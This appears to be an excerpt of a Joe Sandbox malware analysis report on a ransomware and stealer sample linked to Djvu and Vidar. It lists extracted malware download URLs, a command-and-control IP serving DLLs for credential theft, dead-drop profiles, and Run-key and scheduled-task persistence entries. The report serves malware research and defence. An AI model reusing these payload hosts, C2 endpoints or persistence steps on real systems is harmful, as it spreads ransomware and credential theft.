http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	g0Zq7nJjus.exe, 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://49.12.114.15/F	build2.exe, 0000000A.00000003.2212050719.0000000000850000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/sqlite3.dllo	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220oaming	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.jsont	g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-99MNqXMr	g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000864000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/sqlite3.dllj	build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/	build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15/lick-to-Run	build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220232a0oogle	build2.exe, 0000000A.00000002.3337952118.000000000044F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.jsonp	g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/softokn3.dllt	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/msvcp140.dllt	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.reddit.com/	g0Zq7nJjus.exe, 00000006.00000003.2411216251.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe$rune4	g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	build2.exe, 0000000A.00000002.3342567397.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3345784401.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/aming	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/nss3.dlldll	build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199601319247	build2.exe, 00000009.00000002.2197890010.0000000000800000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.nytimes.com/	g0Zq7nJjus.exe, 00000006.00000003.2411151552.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	g0Zq7nJjus.exe, 0000000C.00000003.2266926446.000000000077F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-99MNqXMrdS	g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.0000000000843000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338915528.000000000086E000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199601319247helloWFQY12O5J6Nr.$v	build2.exe, 00000009.00000002.2197890010.0000000000800000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/sqlite3.dllB	build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/sqlite3.dll	build2.exe, 0000000A.00000002.3337952118.0000000000499000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325413132.000000000084A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15/	build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2212050719.0000000000850000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285936311.0000000000875000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325153022.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsona	g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/sqlite3.dll6	build2.exe, 0000000A.00000003.2325153022.0000000000875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220	build2.exe, 0000000A.00000002.3337952118.0000000000576000.00000040.00000400.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.1	build2.exe, 0000000A.00000003.2311925390.000000000312E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2285853733.000000000312E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2325287188.000000000312E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.json6s	g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json=	g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-	g0Zq7nJjus.exe, 00000006.00000003.2401280961.000000000321D000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220232a0xe	build2.exe, 0000000A.00000002.3337952118.0000000000576000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://49.12.114.15:10220/mozglue.dllft	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/nss3.dll	build2.exe, 0000000A.00000003.3298848388.0000000000895000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000895000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/bg3gotymedvsMozilla/5.0	build2.exe, 00000009.00000002.2197890010.0000000000800000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/freebl3.dllf_	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220ocal	build2.exe, 0000000A.00000002.3337952118.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://brusuax.com/dl/build2.exe$run	g0Zq7nJjus.exe, 00000006.00000002.2862958130.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000658000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.youtube.com/	g0Zq7nJjus.exe, 00000006.00000003.2411401726.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/vcruntime140.dllp	build2.exe, 0000000A.00000003.3298848388.0000000000876000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3339750115.0000000000877000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220232a0icrosoft	build2.exe, 0000000A.00000002.3337952118.0000000000576000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://t.me/bg3goty)	build2.exe, 0000000A.00000003.2212050719.0000000000821000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/vcruntime140.dll	build2.exe, 0000000A.00000003.3298248543.000000000312E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wikipedia.com/	g0Zq7nJjus.exe, 00000006.00000003.2411341600.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.live.com/	g0Zq7nJjus.exe, 00000008.00000003.2416876786.0000000003430000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonJ	g0Zq7nJjus.exe, 0000000F.00000002.2335813927.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonE	g0Zq7nJjus.exe, 0000000C.00000002.2268247576.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/freebl3.dll	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/vcruntime140.dlle	build2.exe, 0000000A.00000002.3337952118.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/msvcp140.dll	build2.exe, 0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonE&	g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4w	g0Zq7nJjus.exe, 00000008.00000002.3338915528.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonC	g0Zq7nJjus.exe, 00000006.00000002.2862958130.0000000000632000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000003.2334067164.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335813927.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.google.com/	g0Zq7nJjus.exe, 00000006.00000003.2410766378.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/vcruntime140.dllge	build2.exe, 0000000A.00000002.3337952118.000000000049F000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.3337952118.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
196.188.169.138	zexeq.com	Ethiopia	24757	EthioNet-ASET	true
49.12.114.15	unknown	Germany	24940	HETZNER-ASDE	false
95.86.30.3	brusuax.com	Macedonia	49056	INEL-AS-MK	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1373028
Start date and time:	2024-01-11 13:44:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	g0Zq7nJjus.exe renamed because original name is a hash value
Original Sample Name:	9dfb6b41c90732c9206ef6f65a941b1061126ead69e3715d79519196dad5899c.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@21/1206@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 72 Number of non-executed functions: 226
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 72.21.81.240
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:44:56	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe s>--Task
13:44:58	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
13:45:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart
13:45:10	API Interceptor	1x Sleep call for process: build2.exe modified
13:45:22	API Interceptor	1x Sleep call for process: g0Zq7nJjus.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	jcI5FpXDUM.exe	Get hash	malicious	Babuk, Djvu	Browse
	Fl8SpyW6nf.exe	Get hash	malicious	Babuk, Djvu	Browse
	LwQAIksp2s.exe	Get hash	malicious	Babuk, Djvu	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Mk7woAn6lz.exe	Get hash	malicious	Babuk, Djvu	Browse
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse
	CUO2hN8U9N.exe	Get hash	malicious	Djvu	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	UYUuh7vsdN.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Djvu, Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse
	O7Bptb2MyD.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	JgFgdY52fi.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
196.188.169.138	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	brusuax.com/dl/build2.exe
	xqz8sQ4mZB.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	ftpvoyager.cc/ftp/index.php
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	ftpvoyager.cc/ftp/index.php
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Socks5Systemz	Browse	ftpvoyager.cc/ftp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc, Vidar	Browse	atozrental.cc/atoz/index.php
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	yb3qRei37T.exe	Get hash	malicious	Amadey	Browse	shohetrc.com/forum/index.php
	EeCnAMnuNn.exe	Get hash	malicious	LummaC Stealer, RedLine, SmokeLoader, XWorm, Xmrig, zgRAT	Browse	brusuax.com/dl/buildz.exe
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	DarkTortilla, Djvu, Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	humydrole.com/tmp/index.php
	rmTylqQfe8.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, Xmrig, zgRAT	Browse	brusuax.com/dl/buildz.exe
	93e0099a.exe	Get hash	malicious	SmokeLoader	Browse	dpav.cc/tmp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	SecuriteInfo.com.Trojan.MSIL.Crypt.28603.20478.exe	Get hash	malicious	Vidar, zgRAT	Browse	149.154.167.99
	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99
	RKyTx010jW.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99
	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse	149.154.167.99
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse	149.154.167.99
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	987123.exe	Get hash	malicious	LummaC, Eternity Stealer, LummaC Stealer, SmokeLoader, Stealc, zgRAT	Browse	149.154.167.99
	H88B1esQF0.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	149.154.167.99
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	149.154.167.99
	http://app.123chat.xyz	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://drsasanranjbar.com/7rnq/?37999091	Get hash	malicious	Unknown	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	https://eek.muf.mybluehost.me/wp-admin/css/colors/blue/MTTRBDFH/	Get hash	malicious	Unknown	Browse	162.241.219.14
	https://thu.muf.mybluehost.me/ddhh/tracking/fV5EjH/msg.php?id=81651192	Get hash	malicious	Unknown	Browse	162.241.226.169
api.2ip.ua	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	jcI5FpXDUM.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	Fl8SpyW6nf.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	RKyTx010jW.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	104.21.65.24
	LwQAIksp2s.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	104.21.65.24
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	104.21.65.24
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	Mk7woAn6lz.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	172.67.139.220
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	104.21.65.24
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	104.21.65.24
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	104.21.65.24
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	172.67.139.220
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.65.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EthioNet-ASET	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	196.188.169.138
	2j5zwxO3H7.elf	Get hash	malicious	Mirai	Browse	197.156.113.115
	skyljne.arm7.elf	Get hash	malicious	Mirai	Browse	197.156.113.106
	hoho.arm.elf	Get hash	malicious	Mirai	Browse	196.189.149.105
	xqz8sQ4mZB.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	196.188.169.138
	arm5-20231213-1917.elf	Get hash	malicious	Mirai	Browse	197.156.113.109
	x86-20231212-1319.elf	Get hash	malicious	Mirai	Browse	213.55.97.104
	9934TdVVG1.elf	Get hash	malicious	Mirai	Browse	196.188.160.117
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	196.188.169.138
	file.exe	Get hash	malicious	SmokeLoader	Browse	196.188.169.138
